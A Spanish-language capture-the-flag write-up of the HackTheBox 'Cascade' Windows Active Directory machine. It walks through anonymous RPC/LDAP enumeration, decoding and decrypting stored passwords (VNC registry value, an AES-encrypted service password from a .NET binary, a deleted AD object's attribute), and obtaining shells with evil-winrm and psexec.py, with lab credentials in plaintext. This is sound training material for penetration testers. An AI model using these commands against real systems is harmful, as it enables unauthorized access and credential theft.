Saltar al contenido

HackTheBox – Cascade – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Cascade de Hack The Box. Es una máquina Windows de nivel medio, basada en directorio activo por medio de ldap, con pivoting entre usuarios y bastante criptografía.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.10.182 -Pn

En la máquina hay quince puertos abiertos. Escaneo los diez puertos que he encontrado, ya que el resto son puertos dinámicos del sistema, para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p53,88,135,139,389,445,636,3268,3269,5985 -sC -sV 10.10.10.182 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-06 18:09 CET
Nmap scan report for 10.10.10.182
Host is up (0.12s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-03-06 17:25:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 15m54s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-03-06T17:25:36
|_  start_date: 2022-03-06T17:20:22

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.39 seconds

RCP

Accedo al servicio RCP, utilizando rpcclient como usuario NULL y listo los usuarios del dominio.

rpcclient -N 10.10.10.182 -U ""
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

Continuo enumerando los grupos existentes, los dominios y obtengo una información mas detallada de los usuarios.

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]
rpcclient $> querydispinfo 
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull	Name: Adrian Turnbull	Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc	Name: ArkSvc	Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson	Name: Ben Hanson	Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc	Name: BackupSvc	Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman	Name: David Burman	Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe	Name: Edward Crowe	Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft	Name: Ian Croft	Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen	Name: Joseph Allen	Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand	Name: John Goodhand	Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield	Name: James Wakefield	Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson	Name: Ryan Thompson	Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson	Name: Stephanie Hickson	Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith	Name: Steve Smith	Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util	Name: Util	Desc: (null)

LDAP

LDAP me permite autenticarme como usuario NULL y enumerar el servicio.

ldapsearch -x -h 10.10.10.182 -D '' -b "dc=cascade,dc=local"

Como hay mucha información, voy a enumerar los usuarios del dominio, para ello vuelvo a lanzar el mismo comando pero filtrando por aquellos que tienen la extensión @cascade.local.

ldapsearch -x -h 10.10.10.182 -D '' -b "dc=cascade,dc=local" | grep -i "@cascade.local"

Comparo estos usuarios con los que he obtenido en RCP y veo que son los mismos. Leo la información de los usuarios y, en le usuario r.thompson veo la flag cascadeLegacyPwd.

Parece una cadena codificada en base64 así que la descodifico y consigo la contraseña rY4n5eva.

echo 'clk0bjVldmE=' | base64 -d

Explotación

Habiendo obtenido las credenciales r.thompson:rY4n5eva, compruebo si son válidas para SMB con crackmapexec y veo que me permite acceder a los discos pero no me sirven para autenticarme en el sistema.

crackmapexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'

Enumero las unidades compartidas con smbmap y veo que tengo acceso de lectura a una unidad llamada Data.

smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'

Accedo a la unidad con smblcient y enumero los directorios.

smbclient -U 'r.thompson%rY4n5eva' //10.10.10.182/Data

Después de un rato recorriendo los diferentes directorios, encuentro un fichero html interesante en la ruta \IT\Email Archives\Meeting_Notes_Jone_2018.htlm y un fichero de entradas de registro (reg) en la ruta \IT\Temp\s.smith\VNC Install.reg.

Abro el fichero html y, en resumen, habla de una migración de la red y que se creó un usuario llamado TempAdmin y que su contraseña es la misma que la del usuario administrador.

El fichero de entradas de registro contiene valores que modifican los valores por defecto del Registro de Windows.

Casi al final encuentro un valor llamado Password, el cual contiene un valor que parece transcrito a hexadecimal.

"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

Además de encontrase en hexadecimal, VNC utiliza un cifrado DES modificado y una clave estática pero, afortunadamente, este cifrado ha sido roto y puedo crackearlo con la herramienta vncpwd del github de jeroennijhof.

Primero paso el código a decimal y luego lo descodifico con la herramienta, obteniendo la contraseña sT333ve2.

printf "\x6b\xcf\x2a\x4b\x6e\x5a\xca\x0f" > passvncencryp.dat
cat passvncencryp.dat
./vncpwd passvncencryp.dat

Como he encontrado esta contraseña en el directorio s.smith, y es un nombre de usuario que me aparecía tanto en RPC como en LDAP voy a super que la contraseña pertenece a ese usuario. De todos modos voy a probar con crackmapexec si las credenciales s.smith:sT333ve2 son válidas tanto en smb como en winrm.

crackmapexec smb 10.10.10.182 -u 's.smith' -p 'sT333ve2'
crackmapexec winrm 10.10.10.182 -u 's.smith' -p 'sT333ve2'

Como se ve en la imagen anterior, las credenciales son válidas para ambos servicios pero en SMB solamente me permiten acceder al directorio compartido mientras que en winrm me permiten obtener una shell con evil-winrm.

Obtengo la shell por evil-winrm con las credenciales s.smith:sT333ve2 y encuentro la flag de usuario en la ruta C:\Users\s.smith\Desktop\user.txt.

evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'

Escalada Privilegios

Comienzo enumerando información básica del sistema. El comando systeminfo está bloqueado así que consulto directamente los valores del sistema.

[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName

Puedo ver que me encuentro en un Windows Server 2008 R2 de 64 bits.

Consulto la información de mi usuario y veo que pertenece a un grupo llamado Audit share.

Consulto los recursos compartidos con smbmap y veo que hay un directorio llamado Audit$.

smbmap -H 10.10.10.182 -u 's.smith' -p 'sT333ve2'

Accedo al directorio desde la consola de evil-winrm y listo su contenido.

Obviamente lo primero que me llama la atención es el directorio DB. Accedo a él y encuentro un fichero llamado Audit.db.

Me descargo Audit.db y puedo ver que es un fichero de base de datos SQLite. Abro el fichero y, en la tabla Ldap, encuentro una cadena que parece la contraseña del usuario ArkSvc, codificada en base64.

sqlite3 Audit.db
sqlite> .tables
sqlite>select * from Ldap

Descodifico la cadena en base64 pero aparece muchos caracteres extraños… parece que la contraseña está encriptada.

echo 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d

Vuelvo al directorio Audit$ y me descargo los tres primeros ficheros: CascAudit.exe, CascCrypto.dll y RunAudit.bat.

Comienzo leyendo el fichero .bat y encuentro que el fichero .exe se ejecuta con el archivo de base de datos como argumento.

Dado que el fichero .exe ejecuta la base de datos, voy a desensamblarlo con dotPeek para ver si encuentro algo de información en él.

Leo el módulo principal y lo primero que veo es que utiliza la libreria CascCrypto, que me he descargado del directorio compartido como CascCrypto.dll.

Indagando un poco mas en el código, veo que que, efectivamente, utiliza la tabla Ldap de la base de datos, que utiliza una encriptación CBC y que la key de la encriptación es c4scadek3y654321.

Siguiendo la estructura del a encriptación CBC, ahora solo tengo que encontrar el IV del codificado. Cargo el fichero CascCrypto.dll en dotPeek.

Al leer la función principal, veo que el IV es 1tdyjCbY1Ix49842.

Ahora que tengo toda la información que necesito, creo la receta para descifrar el código en CyberChef y obtengo que la contraseña es w3lc0meFr31nd.

Utilizo crackmapexec para ver si las credenciales arksvc:w3lc0meFr31nd son válidas en SMB y WinRM y obtengo que puedo obtener una shell en WinRM.

crackmapexec smb 10.10.10.182 -u 'arksvc' -p 'w3lc0meFr31nd'
crackmapexec winrm 10.10.10.182 -u 'arksvc' -p 'w3lc0meFr31nd'

Utilizo evil-winrm para obtener una shell.

evil-winrm -i 10.10.10.182 -u 'arksvc' -p 'w3lc0meFr31nd'

User Pivoting

Enumero toda la información de mi usuario y veo que pertenece al grupo AD Recycle Bin.

Aquí recuerdo que el usuario TempAdmin tiene la misma contraseña que el usuario Administrador y que sería borrado al terminar la migración de la red así que debería buscar información en este grupo.

Trás googlear un rato, encuentro este post donde muestra como recuperar información borrada en la papelera de AD.

Import-Module ActiveDirectory
get-adobject -filter 'objectclass -eq "user" -AND IsDeleted -eq $True' -IncludeDeletedObjects -properties IsDeleted,LastKnownParent | Format-List Name,IsDeleted,LastKnownParent,DistinguishedName
get-adobject -filter 'name -like "TempAdmin*"' -IncludeDeletedObjects | Format-List
get-adobject -filter 'objectclass -eq "user" -AND IsDeleted -eq $True -AND name -like "TempAdmin*"' -IncludeDeletedObjects -properties * | Format-List

Como se ve en la imagen anterior, en la flag cascadeLegacyPwd (la misma donde obtuve la contraseña del usuario r.thompson) me muestra un código que seguramente esté codificado en base64. Descodifico la cadena y obtengo la contraseña baCT3r1aN00dles.

echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d

Compruebo si las credenciales Administrator:baCT3r1aN00dles son válidas con crackmapexec y obtengo que puedo utilizarlas para obtener una shell.

crackmapexec smb 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'

Utilizo psexec.py para obtener la shell y consigo autenticarme como administrador.

psexec.py Administrator:'baCT3r1aN00dles'@10.10.10.182

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enActive DirectoryCriptografíaCTFHTBOSCPwindows